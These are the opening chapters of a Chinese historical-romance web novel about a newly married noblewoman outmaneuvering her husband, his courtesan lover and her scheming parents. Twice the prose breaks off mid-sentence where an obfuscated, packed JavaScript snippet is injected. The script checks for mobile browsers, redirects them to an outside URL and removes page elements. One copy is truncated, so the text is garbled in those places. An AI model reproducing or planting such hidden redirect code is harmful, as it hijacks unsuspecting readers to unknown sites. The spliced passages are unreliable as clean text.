《同时招惹四位情郎》 1. 第一章 外面锣鼓喧天,屋内烛火摇曳,崔府上下喜气洋洋,红灯高悬。 今日是她同崔府长公子崔怀松的大婚之日。 本该是春宵一刻值千金的大好春光,岑景舒凤冠霞帔端坐在榻上。 她透过丝绸盖头,看着不远处放着的合卺酒,脸上没有一丝欣喜之情。 谁人不知崔府长公子风流成性,整日流连花楼,是个不学无术的二世祖。 她爹爹虽是当朝太傅,可手中并没有太多实权,为了意图攀附崔氏,不问过她的意见,让母亲直接同崔府洽谈。 岑景舒紧攥着手,指节上的青紫伤痕被牵动,连带着额角的旧伤也隐隐作痛,眼前恍惚又浮现那日府上鸡飞狗跳的场景。 “吱嘎——” 房门被推开,轻而快的脚步声响起。 岑景舒回神,随即,她余光便看到了长公子喜袍之下,因步幅过大而隐约可见的笔直修长的双腿。 下一瞬,屋内的红烛光亮变得清晰可见,岑景舒盖头被猛然掀开了。 她定睛望去,眼前的长公子身姿挺拔,剑眉星目,高挺的鼻梁下薄唇轻扬,但他始终没有下一步动作,只似笑非笑地望着她。 “长公子?” “岑尽溪,你倒是好手段。” 尽溪是她的名,岑景舒听着他凉薄的语气,瞬间也冷下了脸,不卑不亢道:“长公子何出此言?” “何出此言?” 崔怀松冷笑一声,大手直接捏住她的下巴,他咬牙切齿继续道:“长了这么美的一张脸,却不想心思如此狠毒且不知廉耻!” “你不惜自毁名誉也想要嫁给我,现如今又装什么清高?” 岑景舒被捏疼轻嘶一声,她用力一把推开崔怀松,气极反笑,随手从发间拔出一支钗子摔到他脚下,沉声道:“长公子未免太看得起自己,还没入睡便开始说起梦话了?” 崔怀松心下烦闷,不知她又在闹哪一出,心头更加堵塞,他接着不耐道:“岑景舒。” “如你所愿,你成了崔府少夫人,那现下便履行你少夫人的职责吧!” 岑景舒闻言后退半步,心中警铃大作。 她从发髻上拔下玉簪紧紧攥在手中,冷声道:“崔怀松,你把话说清楚!” 岑景舒被他扼住手腕,眼前一阵天旋地转,便倒在了大红喜被之上。 “滚开!” “别碰我!” 她双手都被死死压住,只能不断偏着头,躲避崔怀松的触碰。 “这不就是你想要的吗?堂堂太傅之女背地如此下贱,现在又立什么贞节牌坊?” 岑景舒咬着牙,耳边阵阵嗡鸣,无暇顾及他在说些什么。她努力蹬着腿,找到空隙猛然向其双腿之间踹去。 “嘶——” 身上陡然一轻,岑景舒快速坐起,警惕地盯着面色铁青的崔怀松。 她单手拢了拢凌乱的衣衫,另一只手攥着玉簪对准他,淡声道:“我不知晓你在说些什么,踏雪阁不欢迎你。” “长公子慢走不送!” “岑尽溪!好样的!我看你能装到几时!” 岑景舒望着他怒气冲冲的背影,抿了抿唇,心脏“咚咚”跳个不停,震得她头晕耳眩。 漏尽更深,万籁俱寂。 岑景舒长舒一口气,乏累了一整日的身子酸软不堪,无暇思考崔怀松话中何意,缓缓将发髻上沉重的头冠拆下,连同其余大小钗子都搁置在梳妆台上。 随后她脱下繁琐的婚服,很快便沉沉睡去。 翌日。 岑景舒起了个大早,让她的陪嫁丫鬟春喜替她梳洗上妆,她虽说对崔怀松颇有微词,但对整个崔府还是较为敬重的。 她推开门时,看到在外等候已久的崔怀松,眼中闪过一丝讶异,新婚娘子次日清早要去拜见公婆,本以为这混蛋夫君打算让她自己去。 “日上三竿了还未见人影,还以为你出什么事了。” 岑景舒闻言抬头望了眼天色,尚还不算太晚。 她看向话中夹枪带棒的崔怀松,顺势轻咳两声,意有所指回道:“并无大碍,得益于长公子昨夜悉心关怀,只是有些着凉了,走吧。” 二人并肩而立,互相演戏,远看才子佳人,近看金童玉女,极为相配。 行至正堂,岑景舒恭敬地将流程走完,叫人挑不出丝毫错处。她那便宜夫君虽神色微冷,但也十分配合。 岑景舒稍微放下心,看来崔怀松也不蠢,无论二人私下如何,作为崔府的长公子和少夫人,不说琴瑟和鸣,相敬如宾是必须的,这样才能规避大多麻烦。 末了,老爷子赏了一本前朝孤本诗集,大夫人则赏了一支金钗,上头镶嵌着鸽子蛋大的翡翠玉石。 “听闻你昨日同松儿闹了些不愉快,尽溪莫怕,你父亲同崔府也是有交情的,松儿若欺负你,我们做长辈的,定不饶他!” 岑景舒盈盈一拜,她停在了一个巧妙的高度,虽是低垂着头,但又能让主座的大夫人将她的表情尽收眼底。 她压着嗓音柔声应道:“回母亲的话,昨日是尽溪身子不舒服,和夫君拌了几句嘴,我二人之间并无矛盾。” 岑景舒指尖冰凉,不知这大夫人此言出自真心还是假意,大婚当日没有同房传出去可是一大丑闻。 而女子势弱,世人只会认为是这个女人没有栓住男人的人,不配作为正妻,更不配作为一家主母。 她自是不信这位大夫人会向着她,因此没有贸然告状,而是把原因都推到她身上,做足了温柔贤淑妻子的样子。 大夫人斜了崔怀松一眼,不等他说些什么,便淡声下了定论,缓缓道:“儿孙自有儿孙福,我不会过多干预你二人的感情,只是切记万事要注意分寸。” “尽溪,这几日你先熟悉熟悉府上,过后我会把库房钥匙交于你。” 岑景舒这下倒真有些意外了,将库房钥匙给她,便是意味着要让她执掌中馈了。 她虽不知昨日崔怀松所言是什么意思,但她知晓,以她的家世嫁入崔府,是高攀了的,因此其中定有隐情,应当还是一些上不得台面的原因。 那为何大夫人还愿意把掌家权交给她? 她摇了摇头,低声婉拒道:“尽溪自知资质尚浅,如何能……” “不必再说,我累了,尽溪你同松儿回罢。”大夫人打断她的话,没有要改变主意的意思。 岑景舒见状也只好点头应下,日后再做打算。 她行礼过后同崔怀松并肩而行走了出去。 刚至门口,崔怀松便塞给她一个檀木匣子,眼底闪过一丝不耐,道:“这是送你的,戴不戴随你,我还有事,先走了。” 岑景舒并没有打开,而是直接递给了春喜。 “春喜,稍后放我房内。另外,府上可有什么传言?” 大夫人知晓这并不稀奇,重要的是大夫人都暗示让她与崔怀松注意影响了,那便说明在府上这事儿应当闹得不小。 很可能人尽皆知了。 “回主子的话,是有一些不太好的传言,不过是那些丫鬟小厮乱嚼舌根罢了,主子不用在意。”春喜面色难堪,但还是挑着好话道。 岑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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岑景舒才走两步,身侧的春喜兴奋感叹道:“主子主子,那便是京中贵女挤破头也想嫁的崔二公子啊!当真是温文尔雅的翩翩君子!” 她闻言先是回头看了一眼,确认崔怀鹤走远后,才回过头来笑骂道:“妄议主子,仔细你的脑袋!” 但她也并没有否认春喜的话。 崔老爷子官拜正三品尚书令,大夫人也是江南士族名门望族的嫡女,崔家在二人联合治理下才跻身京城士族之一,同谢、王、柳三家齐名。 这二公子崔怀鹤便深得其父其母真传,自幼时通事伊始便过目不忘,四岁便可作文章,七岁精通儒家思想,十岁便可同当世大儒论道。 如今也不过年十九,任都官尚书,乃当之无愧的大盛第一才子。 确为满京贵女梦寐以求的姻亲对象。 岑景舒加快步伐,不理会在身后叽叽喳喳认错的春喜。 “诶主子……您等等奴婢!” 直至回到踏雪阁,岑景舒才斜了她一眼,缓缓道:“这里不比太傅府,任何时候都要小心谨慎。” 春喜垂着脑袋,低声应道:“是主子,奴婢知错了。” “好了好了,过来,我差你去办些事将功补过。” 岑景舒对春喜招了招手,春喜立刻会意弯腰侧耳凑过去。 “去查查长公子近来身边有没有过分宠爱的女子,把所有证据收集好,我要送长公子一份大礼。” 岑景舒顿了顿,又压低声音道:“另外,去查当初母亲是如何让崔府应允这桩婚事的。” 2. 第二章 “主子,书琴姐姐来了。” 岑景舒颔首,摆手示意丫鬟退下,随即扬起唇角缓步走了出去。 “见过少夫人,主子命奴婢来带少夫人熟悉一下府上环境。”书琴低垂着头,屈膝行礼。 岑景舒上前两步,在空中虚扶了书琴一下,温声道:“不必多礼,母亲可还有别的吩咐?” “回少夫人,并无。” 说罢,书琴抬起头侧过身,恰好在她右手边,落后半个身位的地方站定。 “少夫人,奴婢扶您。” 岑景舒依言将胳膊搭在书琴的手上。 方才书琴低着头,她只觉书琴仪态得体,声音清脆悦耳。 她比书琴略高些许,二人又挨得极近,不必刻意去打量,书琴颤动的眼睫她都看得一清二楚,丝毫看不出是年三十有余的奴婢。 “少夫人,长公子院内的奴婢就不多说了,左侧便是二公子的云竹院,二公子喜静是众人皆知的,就连长公子去了也会放轻声音。” 岑景舒顺着书琴的视线望去,只见覆着皑皑白雪的青葱竹林后,写有“云竹”字样的牌匾高高悬起。 即便她善写正楷不精草书,也看得出来这“云竹”二字笔锋凌厉,同院前坚韧不拔的竹林相得益彰。 “这字是二公子亲提,二公子的字就连陛下也青睐有加,曾因二公子随手写下的几个字,而赏黄金百两。”书琴在旁解释道。 岑景舒心下感叹,这二公子当真是人中龙凤,各方面都极为出挑,若是生在帝王家…… 她止住念头,向别处走去。 书琴因扶着她的手,只微微福了福身,轻声道:“这便是几处客房,游廊以里便是书房、宴会厅、库房、仓库等,少夫人您随奴婢来。” 岑景舒点头,步履轻盈地穿过游廊,来来往往的丫鬟小厮肉眼可见的多了许多。 “见过少夫人。” 丫鬟们手中提着食盒,虽是隆冬,额头却冒出细密的汗珠,距她有五步远便停下来行礼问安。 岑景舒心下诧异,面上不动声色温声问道:“现下不到用膳时辰,你们这么多人是要往哪里送膳?” 为首的丫鬟屈膝行了一礼,下意识瞟了眼书琴,这才回道:“回少夫人的话,这是大夫人的药膳。” “我知晓了,你们快些去罢。” 闻言,丫鬟们行礼过后加快脚步离开。 不待她问,身侧的书琴笑道:“主子整日操劳,老爷心疼主子,特命人为主子调配了药膳。” “主子怕苦,因此老爷便吩咐人将那药膳掺了甘草,做成了糕点的样式,让主子闲时便吃一些。” 岑景舒了然暗自记下,应道:“替我向母亲问好,待我省亲过后,再去侍奉左右。” “是,少夫人。奴婢会如实转告主子。” 约莫过了三刻钟后,二人穿过一道小木门,来到花园内。岑景舒眼前豁然开朗,率先映入眼帘的便是,一座立在水中檐下挂满铜铃的凉亭。 这里的水清且浅,深度应到她脚踝处。 水中央以木板铺成一条略高于水面,仅容二人并肩而过的小路,直通凉亭内,四周则是错落有致的假山环绕。 “路滑,少夫人小心。” 下一瞬,岑景舒便感到书琴的手加了些力道,稳稳地扶着她。 岑景舒顿住脚步,偏头道:“书琴,崔府上下我已了然于心,我在此想一个人待上片刻,你先回吧。” 书琴闻言犹疑片刻,但很快便垂下眉眼屈膝行礼道:“既如此,不远处便有小厮巡逻,少夫人留意脚下,奴婢告退。” 待书琴走后,岑景舒弯下腰,伸出食指试探性向水中探去,指尖的触感并非刺骨的凉意,而是意料之内的温热。 岑景舒收回手直起身,缓步来到了凉亭前方不远处的阁楼上。 她站在二层将整座花园的美景尽收眼底,形状各异大小不一的假山上布有各类花卉,前方则是波光粼粼的水湖,水雾缭绕。 蓦然,一阵悠扬婉转的琴声响起。 岑景舒循声望去,透过层层水雾,看到前方桥上有一个人,影影绰绰看不太真切。 她原想独自待上片刻,这里既然有人在了,便起身准备离开,只是耳畔的琴声应着潺潺水声,清耳悦心颇为好听。 想来应是府上某位庶出小姐所奏。 如此想着,琴声愈发清晰,那人影也愈发真切。 岑景舒放轻脚步,离得稍近些了才隐约看出,水雾中的人似乎不止一个。 她原地站定,仔细瞧过后,发觉那里确实有两人,之所以方才以为是一人,是因为那人怀中还抱了一人。 隔着水雾从远处看,丝毫看不出任何破绽。 岑景舒转身就走,这琴声即便再悦耳动听,撞破了府上小姐私下幽会,从而惹得后续一系列麻烦事便不好了。 可偏偏天不遂人愿,身后传来娇滴滴带着几分惊恐的声音。 “松哥哥,你瞧,那里是不是有个人?” 岑景舒提起裙摆,也顾不上装什么贤良淑德了,拔腿就想远离这是非之地。 但当她听得那女子喊的名字后,勾唇一笑,转过身放下裙摆,淡定站在原地等那人来寻。 “什么人?!” 琴声停下,随之响起崔怀松的厉声质问。 岑景舒心下感叹,这明晃晃的把柄送到眼前,早知如此便不让春喜花费时间去搜寻证据了。 “景舒?” 岑景舒目光在略显慌张的崔怀松,和他怀中不知所措的女子来回流转。 她最后看向恢复如常的崔怀松,道:“长公子,抚琴只为博得美人一笑,好雅兴。” “这位是……” 崔怀松还未答话,那女子已经掩着帕子抽噎起来,他连忙低头去哄,温柔道:“霜月不用怕,有我在呢。” “霜月?” 岑景舒虽说听着他做作的声音有些恶心,但还是捕捉到了关键信息。 这位霜月,如果她没记错的话,便正是声名鹊起的…… 青楼女子。 “岑景舒,你想干什么?” “我告诉你,霜月虽是青楼女子,但她从未……” 不过是喊了一句那女子的名字,便惹得崔怀松竖起满身的刺,喋喋不休说个不停。 “长公子。” 岑景舒轻嗤一声,有些不耐烦地出声打断他,道:“那日婚房过后,我原不知为何长公子分明花名满洛京,却还是有无数女子愿意嫁你。” “现下看来,我倒是找到原因了。” “长公子对待一个青楼女子都如此用心,因其甚至不惜对正妻恶语相向,长公子当真是爱心泛滥,平等兼顾到每个女人啊。” 崔怀松将霜月护在怀中,应道:“景舒,与霜月私会是我不对,你不必把话说得如此难听。” 闻言,霜月双眸含泪看着崔怀松,哽咽道:“松哥哥,霜月自知身份卑贱……” 岑景舒勾了勾 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岑景舒蹙眉,这霜月属实不简单,难怪能将崔怀松迷得神魂颠倒,这番话一出,是个男人都要为之动容了。 果不其然,崔怀松强行把她拉起,用拇指轻轻拭去她脸上的泪水,凑到她耳边不知说了些什么,只见她的脸瞬间变得通红,随后便将头埋在崔怀松的怀中。 “景舒,你有什么条件,只要不是特别过分,我都可以答应你,你先说说看。” 岑景舒颔首轻笑,伸出三根修长的手指,应道:“我有三个条件。” “其一,自今日后,你我互不干涉。你随意纳妾,我如何你也不要插手,我们维持表面恩爱即可。” 岑景舒尾调放缓,目光在他二人身上流连,看崔怀松神色微松,霜月还是一副凄苦的可怜相,继续不疾不徐说着。 “其二,霜月姑娘入府后,第一个孩子要过继给我,我会视如己出。” 闻言,霜月的脸色更加惨白,紧紧抓着崔怀松的袖子,眼含热泪,未出一言却胜过千言万语。 “至于第三个条件,明日省亲马车之上我会告知你。” “长公子你可以先考虑一下我前两个条件。” 凛冽的寒风呼啸而过,冷热交替缠绕,将水面之上缭绕的雾气吹动,云纱般散开化为丝丝缕缕的细雨,洒向空中。 崔怀松深深望着她,紧紧抱着怀中的人,最终哑声道:“好,我答应你,也希望你能说到做到。” “一言为定。” 岑景舒说罢转身便走,解决了崔怀松,也没了继续看景致的兴趣,深冬偶然吹过的风总能掀起一阵寒潮,吹得人脸生疼。 她拢了拢大氅,快步朝着踏雪阁方向走去。 行至转角处,她下意识放缓脚步,向右侧了侧身子,倏然,清冽的竹香萦绕在她的鼻尖,眼前的青色让她以为误入了云竹院前青翠的竹林。 一双修长有力的手稳稳扶住她,又迅速撤开。 “长嫂,当心。” 岑景舒站稳后撤两步,唇角微微扬起,轻声道:“是怀鹤啊,多谢。” 她侧过身,接着道:“怀鹤,是有要事吧?快些去吧,别耽搁了。” “朝中有些琐事,执潭告退,长嫂回见。” 岑景舒余光瞥见崔怀鹤缠绕在手中把玩的青玉手串,散发着温润光泽的玉珠在他的指尖流转,不禁感叹这人手生得真妙。 这位二公子,无论品行样貌还是文采,当真处处都比他兄长出色百倍啊。 3. 第三章 “主子,查清楚了。” “长公子身边近来只有一个名叫霜月的花楼女子,奴婢……” “这个不用说了,另一件事查到了吗?” “是,查到了,只是……” 岑景舒看着春喜满脸踌躇,心中冷笑,看来她的好父亲母亲当真是用不得了的计策来卖女儿。 她轻笑一声,揉了揉春喜的脸,道:“无妨,你说便是。” 岑景舒面不改色听完,末了反倒将义愤填膺的春喜安抚了好一阵子才歇息下来。 翌日。 岑景舒刚上马车还未坐好,崔怀松便开口问道:“景舒,你的第三个条件是什么?” 她不紧不慢坐好后,将书卷搁置到小桌案之上,又点燃熏香,倒了一杯热茶,一旁的崔怀松目光紧紧追随,也不敢催促。 缭绕的水雾和烟雾不断升腾,清淡茶香和檀香混合很快弥漫开来。 “第三个条件,也很简单,我要极北雪莲。” 崔怀松眉心紧皱,应道:“极北雪莲乃生长在北巫冰川之上,极为珍贵,整个大盛也只有皇宫内有五朵。” “且这雪莲是足矣媲美百年灵芝的药材,我瞧你面色红润,不像身体抱恙,你要这极北雪莲做甚?” 岑景舒盯着书卷,一个眼神也没分给他,淡声道:“其余不劳长公子忧心,长公子只说答不答应即可。” 话落,马车内变得落针可闻,陷入了沉寂。 她看书速度很慢,世人总夸赞那些一目十行的人,可她觉得看书不在于快而在精,因此每句话她都会反复揣摩,从不同角度去理解分析,一段话往往要看上许久。 “难道女子只能拘于红墙瓦房之内,相夫教子,草草一生吗? 凭什么男人可以三妻四妾,女人被多看一眼便是罪过! 我不仅要上阵杀敌建功立业,还要娶几房美男子伺候!” 岑景舒唇角勾起,这下总算知晓这本书被列为禁书的缘由了。 本想着看些不可言说的禁书消遣一下,谁知竟发现了这么一本好书,她兴致勃勃继续往下看,将马车内的另一个人抛之脑后。 “我答应你。” 岑景舒正看到书中的男主角无可奈何放女主角离开时,耳畔传来了同样的话,宛如书中男主角活过来一般。 是崔怀松答应了。 岑景舒对此轻微点头,对此并不意外,现下崔怀松对霜月爱意正浓,为其上刀山下火海都是有可能的。 她很快便再次投入书卷中女主角波澜壮阔的一生,越看越觉得,这才是全天下女子都应当读的书,不被世俗枷锁束缚,只做自己想做的事,去成为自己想成为的人。 两刻钟后,马车稳稳在太傅府停下。 她察觉袖口被身侧之人轻轻拽住,便垂眸去看,只见她淡蓝色的袖摆掩在月白色之下,远远望去就好似二人十指相扣一般,亲密无间。 崔怀松偏头低声道:“今日省亲,莫要传出任何流言蜚语,免得旁人议论我崔府苛待正妻。” 岑景舒面上笑意加深,手却悄悄蜷起,生怕被他误碰到半分。 行至正堂,岑父岑母早已在主位等候多时,一见二人便笑得合不拢嘴。 流程很快走完,她对崔怀松使了个眼色,他立刻会意,寻了个借口先行去了偏殿歇息。 岑景舒敛去笑意,嘲道:“父亲,用女儿后半生换来的尚书之位,做得可还舒心?” 话落,满堂寂静。 岑父脸色阴沉下来,岑母不悦道:“舒儿!为娘教你的规矩都学到哪里去了!怎可如此大逆不道!” 岑景舒抿了抿唇,眸子中夹杂着隆冬的霜雪,直直刺向岑母,道:“将女儿卖给崔府,自是比不得当初将女儿献给病重的先帝。” “母亲,女儿那时刚年满十三。” 岑景舒眼眶微红,指甲掐入掌心,目光死死盯住上方的二人,企图从他们眼底看出一丝忏悔或心疼。 然而,她还是高看了她在父亲母亲心中的份量。 父亲母亲眸中满是震惊,不敢相信她是如何得知此事,随即便化为怀疑和猜忌,他们在猜测是否是身边的人走漏了消息。 她在心中嗤笑一声,彻底从这十几年来的大梦中苏醒,对这虚伪至极的亲情不抱有丝毫期冀。 或许,她从走进父亲母亲心中,他们眼中看到的只有荣华富贵和权势地位。 她只是一件能够让他们从中获得更多利益可以交换的商品罢了,对待商品自然没有情感,只有权衡利弊。 “舒儿,你是听信了哪个混账的谗言?为娘将你捧在手心,生怕你受半分委屈,怎可能会……” 岑母抹了抹眼角的泪,接着哽咽道:“为娘怎舍得将你送入那吃人不吐骨头的地方。” “女儿自然相信母亲,但父亲不妨去书房去看,是不是丢了什么东西。” 她的话使得霜雪化为冰针,重重刺向她父亲母亲的死穴。 岑父岑母脸色骤变。 “你……” 岑父颤着身子指向岑景舒,脸气得通红,好半晌才憋出后半句来:“逆女!” “家门不幸,家门不幸啊!” 岑景舒勾唇一笑,轻声应道:“看来爹爹是想到丢了什么东西了,当年那封想要暗中送给谢大人的信在我这里。” “吾女芳龄十三,欲献于陛下冲喜,谢中书大人……” “够了,住嘴!” 岑景舒依言闭上了嘴,屈膝行了一礼后,浅笑着站在原地。 她脊背挺得很直,肩膀却很自然地舒展开来,对于父亲的呵斥面上不见丝毫惊慌,整个人显得坚定而又从容。 岑母揉了揉眉心,长叹口气,语气沧桑,仿佛瞬间苍老了十余岁,道:“舒儿,看来你早知此事,可现下才提及,究竟想要做什么?” “你爹爹同我把岑家放在第一位,有时忽略了你的感受,你恨我怨我都可以,莫要拿岑家生事,你到底想要做什么?” 岑景舒闻言将隐在宽大衣袖下的手指掰得发出脆响,在正堂之内回荡,只是在场的三人都对此漠不关心。 “我在府上寂寞,幸得与霜月姑娘结识,我有意认她作为义妹,与我共同服侍长公子,还望母亲多费心。” “期限半月,此事若不成,那封信究竟会出现在哪,女儿便不能保证了。” “此外,母亲你如何同崔府谈下这桩婚事,我也已然知晓,想必 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16445724|185096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 您和父亲也不想此事一同成为百姓的饭后笑谈。” “望父亲母亲身体康安,福寿绵长,女儿告退。” 岑景舒说完没有给他们任何商量的余地,直接转身便大踏步离开,全然不顾身后父亲母亲的怒斥。 她刚踏上马车内,就被人殷勤扶住,浓重的檀香扑面而来萦绕在她的鼻尖,桌案上也备好了热茶。 “事已办妥,望长公子铭记我的条件。” 岑景舒将茶盏往一旁推了推,随后将那本书卷打开,继续道:“长公子想必也清楚,我既有能力让你迎娶霜月姑娘入府,自然也能将她再回归贱籍。” “望长公子务必遵守我们的约定。” “我答应过的,便定不会反悔,待霜月入府过后,我会差人将极北雪莲送至踏雪阁。” 岑景舒从胸腔中轻嗯一声,算是应了他的话,随后抿了口茶,眼睛一刻未离开过书卷,放下茶杯后彻底沉浸在其中。 马车停稳后,岑景舒才从书中回过神来,在当前书页简单做了一下标记,这才合上。 她收好书本,崔怀松已经不见了身影,不过她也不在意他的去向,只要不违反约定,不将天捅出窟窿来,随便他去哪里。 春喜掐着时间在踏雪阁外候着,一见到来人便快步上前,低声道:“主子,一个时辰前桑尘来了一趟,说二公子有事找您,待您回来请您去一趟大书房。” “二公子?有说是何事吗?”岑景舒蹙了蹙眉,但脚步未停,直径向踏雪阁内走去。 各院内都设有书房,平日里各位主子有要事也都在各自的书房内办,方便快捷且隐私性极强,久而久之这府上的大书房倒成了真正的书房,鲜少有人会去。 这二公子平白无故叫她去大书房做甚? “回主子,桑尘并未说是何事,只是说这是二公子的意思。” 岑景舒点了点头,回到屋内先是将满头的珠钗一一取下搁置到桌面上,随后起身去了屏风后将繁重的礼服换下,顿觉身上轻盈无比。 待她再次坐到铜镜前时,桌面上干干净净,刚把珠钗收拾好的春喜又去了屏风后,仔细叠放她刚换下的礼服。 岑景舒看着镜中的自己,细长的眉毛下生了一双潋滟多情的桃花眼,鼻梁算不上挺拔,薄唇泛着嫩粉色,配上巴掌大的鹅蛋脸,再标致不过的一张脸。 倏然,春喜有些婴儿肥的脸庞出现在镜中。 她靠着屏风,对着铜镜咧嘴扮了个鬼脸,杏眼中满是狡黠,含混不清道:“主子,您就好像是神女下凡,美得不可方物呢!” 岑景舒轻笑一声,冲着镜子内的春喜招了招手,道:“少嘴贫,随我去大书房。” “是,主子。” 岑景舒缓步走着,带着七拐八拐穿过曲折回环的游廊,一路上迎面遇见的小厮丫鬟纷纷行礼,而后又行色匆匆离去。 她在一处宽阔的院子前停住脚步,上方的匾额上赫然写着“书房”二字。 “怎么了主子?咱们不进去吗?”春喜有些疑惑,压低声音问道。 岑景舒眸光微动,书房门关得严丝合缝,且门外又空无一人。 她轻声应道:“若是二公子在内,怎不见小厮在外看守?” 4. 第四章 “见过长嫂。” 不大不小的声音自身后响起,不至于乍然吓人一跳,温润的嗓音如同春风掠过青竹,使人下意识放松警惕,不自觉想要接近这声音的主人。 岑景舒应声回头,率先映入眼帘的便是崔怀鹤因行礼而交叠的双手,手背上凸起的青筋被珠玉手串尽数遮挡,靴底隐约可见泥渍,想来是从水边赶来的。 她轻笑一声,道:“我们如今是一家人,无需如此见外,不必多礼。” “怀鹤,你寻我来,是有何事?” 崔怀鹤瞥了一眼身侧的桑尘,而后又看向她,应道:“长嫂,执潭有一封信要转交于你,是谢中书大人亲笔所书。” “谢中书?” 岑景舒轻蹙眉头,有些疑惑道:“太傅府同谢中书大人并无往来,我同他更是素未谋面,怀鹤你确认这封信是谢大人委托你转交于我?” 谢中书谢无咎,和崔怀鹤年岁相当,却已然稳坐谢家家主之位,任职正三品中书令手握大权,为人偏执疯狂,做事阴晴不定,疯起来连皇子都敢当街动手,将其打得半月没能下榻动弹。 那件事闹得沸沸扬扬,当今陛下气急败坏却也因着刚登基不久,根基尚且不稳而无可奈何,选择隐忍不发,最终罚了他一年俸禄,禁足一月,草草了事。 这样的疯狗,她可不想与其沾染半分干系,但由于还在书房外,她并未说太多,把心中的异样情绪压下。 谈话间那边的桑尘把书房门打开,发出吱呀一声响,岑景舒没有看过去,而是双手交叠于小腹前,站在原地等待崔怀鹤的回答。 只见他轻轻点了点头,分明唇角并未上扬,可那双清明的眼眸中夹杂着细碎的笑意,使人沉溺其中,从而忽略了被笑意掩盖住的翻涌暗潮。 她同崔怀鹤相隔半步,一同走进书房,鼻尖萦绕着他身上特有的香味,不似平常熏香那般浓重,而是极淡的清香,与她先前嗅到的竹香还不太一样。 还未等她仔细分辨那是什么香味,书房内沉木香和纸浆的味道扑面而来,将那本就微弱的香气瞬间压了下去。 随后春喜和桑尘前后走出去,站在左右两侧将房门关上。 日光从窗户倾洒而来,因此虽关上了门,但书房内并不昏暗。 崔怀鹤这才拿出一封信件递给她,并接着说道:“长嫂,谢中书的信已送到,朝中事务繁忙,执潭这便先行告退。” “等等。” 岑景舒攥着信件并未打开,看着他的眼睛缓缓道:“谢中书大人是外男,我不应与他私下传递信件,此于礼不合,但谢大人位高权重,我作为崔府的少夫人也不好拂了他的面子。” “故而还烦请二公子在一旁做个见证。” 崔怀鹤身形一顿,重新站定,垂下眼帘神色不明地看着被拆开放在桌案上的信纸。 那字体结构欹正相生,洒脱不羁,笔走龙蛇,一看便知是行书大家所写,是谢无咎的亲笔无疑。 待看清楚纸张的内容后,青玉手串泠泠碰撞声在书房内响起,他眼神微动,偏头去看岑景舒的反应。 “卿大婚当日,嫁衣似火,仙子下凡,美艳至极,洛京无双;余见之难忘,辗转难眠,特书此信,聊表相思。” 岑景舒看完抿了抿唇,心中波涛汹涌,痛骂这谢中书太过孟浪,面上却淡定将信纸折起放回信封内递给他,轻声道:“请二公子将信送回,并转告给谢中书大人一句话。” “还望谢大人自重。” 珠玉碰撞声减弱,几乎微不可查,崔怀鹤接过信件,笑着温声应道:“长嫂安心,执潭会处理好此事。” 岑景舒颔首,看着他转身离开书房后,眼尾下压脸色骤然冷了下来,暗骂那疯狗真是不知所谓,竟把主意打到崔府正妻头上了。 若传出去,定要闹得满城风雨,这人疯惯了本来就没有名声这东西,届时身败名裂,受万人唾骂的就是她这个崔府少夫人了。 快步走来的春喜见状一惊,回头看了眼已然走远的二公子,又迅速搀扶住主子的胳膊。 “主子,这是怎么了?”春喜杏眼中满是担忧,低声问道。 “无碍,回踏雪阁。” 闻言春喜也不再细问,她是知晓的,自家主子不想说的事情,任凭旁人使出各种手段询问,主子也不会透露一星半点。 岑景舒刚行至游廊便迎面撞上了行色匆匆的崔怀松,以及他身后跟着的一群小厮丫鬟。 她眼中适时流露出关切,声音也跟着染上焦急之色,柔声询问道:“夫君这是怎么了?出什么要紧事了?” 崔怀松犹疑片刻,上前两步,俯身凑到她耳边,用气音悄声道:“景舒,霜月不见了!” “长公子移步书房,我与你细说。” 说罢岑景舒不着痕迹后撤几步,和崔怀松拉开了稍许距离,唇角挂着温和的笑,冲着丫鬟小厮道:“长公子这边有我,你们退下吧。” 丫鬟小厮你看看我,我看看你,见长公子没有反驳,一切只发生在瞬息之间,他们齐齐行礼,一致应道:“是,少夫人。” 岑景舒又回到了方才的书房内。 只不过这次与她谈话的人,并不似方才那位令她那么舒心罢了。 “霜月是我命人带走的。” 岑景舒敛去笑意,淡声道。 “为何?!”崔怀松额角青筋暴起,极力保持着声线平稳,哑声道:“我不是答应了你所有的条件,为何要带走霜月。” “自然是为她安排一个新的身份,不然长公子是打算让我父亲认一介风尘女子为义女?那岂不是贻笑大方。” 岑景舒不想同他解释太多,只道:“长公子放心,待几日后,你便能迎娶你的霜月姑娘进府了,旁的无需多虑。” 事关霜月进府,崔怀松虽然看出她已经不耐,但还是依旧道:“景舒,你告诉我吧。” 他又放轻了声音,面上带上恳求之意,接着说道:“你告诉我,作为交换,我可以答应你一个要求。” 岑景舒叹了口气,念他一 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“但,景舒你如此大费周章,就是为了让霜月得以换个身份入府,不若在她的面容之上更改一二?” “我可以派人过去。” 岑景舒挑了挑眉,倒真有些意外了,看来这崔怀松是纨绔了些,但实际上却并不是个什么都不懂的草包。 她摇了摇头,哼笑出声:“不必麻烦,我都安排好了,长公子只管安心等着便是。” 崔怀松神色复杂,经过这几日的接触,他也能看出眼前的女人并不简单,并且是发自内心的不爱他,那她嫁进来之事,或许另有隐情。 他又想起新婚之日那样粗暴对她,她还肯这么帮助霜月,不由得心生愧疚,有些难为情道:“景舒...抱歉。” 岑景舒瞥了他一眼,还以为他是在为霜月进府一事道歉,轻笑道:“无妨,长公子请便,我还有事,先走了。” 她回到踏雪阁后,赏会花弹会琴,时间一溜烟便飞走了,用过晚膳没多久便歇下了。 翌日。 